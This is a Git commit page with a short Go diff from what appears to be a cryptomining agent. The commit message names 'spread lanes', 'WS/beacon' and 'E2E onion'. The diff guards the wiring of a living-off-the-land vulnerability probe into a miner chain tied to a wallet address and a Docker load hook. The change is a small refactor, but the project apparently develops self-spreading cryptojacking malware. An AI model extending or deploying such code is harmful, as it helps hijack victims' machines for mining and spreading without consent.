Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -24,20 +24,22 @@ type MiningChainRunner struct {
|
||||
}
|
||||
|
||||
func (c *AgentClient) newMiningChainRunner() *MiningChainRunner {
|
||||
miner.SetVulnProbeRunner(func() miner.TierAttempt {
|
||||
report := RunVulnLOTLProbe()
|
||||
attempt := miner.TierAttempt{
|
||||
Tier: miner.TierVulnProbe,
|
||||
OK: true,
|
||||
Wallet: c.cfg.Wallet,
|
||||
Details: map[string]interface{}{
|
||||
"risk_score": report.RiskScore,
|
||||
"exposed_count": report.ExposedCount,
|
||||
"finding_count": len(report.Findings),
|
||||
},
|
||||
}
|
||||
return attempt
|
||||
})
|
||||
if !miner.VulnProbeRunnerWired() {
|
||||
miner.SetVulnProbeRunner(func() miner.TierAttempt {
|
||||
report := RunVulnLOTLProbe()
|
||||
attempt := miner.TierAttempt{
|
||||
Tier: miner.TierVulnProbe,
|
||||
OK: true,
|
||||
Wallet: c.cfg.Wallet,
|
||||
Details: map[string]interface{}{
|
||||
"risk_score": report.RiskScore,
|
||||
"exposed_count": report.ExposedCount,
|
||||
"finding_count": len(report.Findings),
|
||||
},
|
||||
}
|
||||
return attempt
|
||||
})
|
||||
}
|
||||
r := &MiningChainRunner{client: c}
|
||||
hooks := miner.ChainHooks{
|
||||
StartDockerLoad: r.startDockerLoad,
|
||||
|
||||
Reference in New Issue
Block a user